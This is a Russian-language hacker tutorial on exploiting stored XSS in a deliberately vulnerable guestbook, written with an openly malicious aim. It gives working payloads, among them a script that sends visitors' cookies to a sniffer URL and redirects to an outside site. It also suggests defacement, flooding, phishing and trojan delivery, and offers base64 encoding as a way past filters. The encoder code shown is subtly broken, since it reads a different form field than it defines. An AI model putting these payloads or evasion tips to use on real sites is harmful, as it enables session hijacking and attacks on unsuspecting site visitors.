[ Активный XSS ]
XSS - Cross Site Scripting данный вид атаки приминяется
для вставки своего кода в web-приложения для кражи cookies
и не только, он бывает двух видов пассивный и активный,
в данном случаее да и всегда нам нужен именно активный XSS,
что бы могли произвести свои черные дела на сайте жертвы,
для примера я написал самую бажную гостевую книгу и на ней
мы будем проводить опыты, гостевая которая будет под нашем
прицелом вообще нигде не весит, но такие баги как у меня
вы можите найти в инете, к примеру где предлогаются
бесплатные гостевые книги без использования MySQL и юзают
текстовые файлы. И так давайте скопируем мою гостевуху на
свой сервер или виртуальный сервер типа "Денвер" и
запустим ее и добавим несколько постов как показано на
рисунке "1.jpg".
Как видно это самая простая гостевая, хотя ее и гостевой
назвать нельзя, но суть материала показать, как можно
заюзать активный XSS, так что давай напишем в поле
"Ник" "><script>alert('Bug')</script><" а поле для текста
можно тоже самое или какое нить сообщение, к примеру
"Я нашел БАГ :))" и увидим то что показано на рисунке "2.jpg"
Так мы видим что есть место XSS - атаке, так как нечего
у меня не фильтруется, что мы можем сделать? давай
попробуем провести записи в файл без заполнения формы
сообщения, а составим такой вот код:
<script>document.write("Записано JavaScript'ом")</script>
Результат на рисунке "3.jpg", хехе думаешь такое не возможно?
такое вполне реально, так скрипт записи в файл у меня
вообще не проверяет входные данные. Понимаешь к чему я клоню?
Если ты нашел активыный XSS, ты можешь без труда уничтожить,
зафлудить, задефейсить, красть кукисы пользователей которые
заходят на данную страницу. Если вставим такой код с
адресом своего снифера:
<script>document.location.href='http://xss/images/snifer.php?'+document.cookie</script>
То тогда мы сможем без труда украсить кукисы юзверей которые
тусуются на сайте с XSS-багой :). Если не полениться,
можно сделать "fake" подделку ресурса или сайт от имени
ресурса с просьбой скачать какой-нибудь файл, или перенаправить
пользователей на свой затрояненый файл, да кароче все что
угодно сделать, к примеру этот код:
<script>document.location.replace("http://22h.vrlife.ru")</script>
К обращению к гостевухе, перекинет на сайт команды [22H] Team :),
но вы можете использовать активный XSS как хотите, этот материал
тому доказание, конечно да не всегда может прокатить или найти
активный XSS в интернете, и вы скажите ну вот у тебя нет
фильтра а у других есть фильтры, и как нам в таком деле
поступать? И тут я вам скажу что есть выход, это
закодировать свой javascript код base64 алгоритмом и так
же можно попробовать и другими алгоритмами кодирования,
для кодирования base64 алгоритмом можно написать такой код:
<html>
<head>
<title>Кодируем JavaScript</title>
</head>
<body>
<form method="POST">
<input type="text" name="java" size="60">
<input type="submit" name="enter" value="Кодируем"><br>
</form>
<?php
if ( $_POST['enter'] == TRUE )
{
echo base64_encode($_POST['code']) . "<br>";
}
?>
</html>
Нам останеться только вставить свой javascript в поле и
нажать "кодируем" после этого на экране появится закодированный
код, мы можем его впарить участнику гостевухи или какого-нибудь
друго ресурса где имеет место фильтрация или защита от
XSS-уязвимости, думаю на этой ноте я могу закончить, от
тебя лишь требуется фантазия, как ты сможешь заюзать XSS
тебе решать, главное экспериментировать и тренероваться,
ну и конечно знать JavaScript :)
P.S. Гостевая и иллюстрации лежат в include/xss/*
(c) Outlaw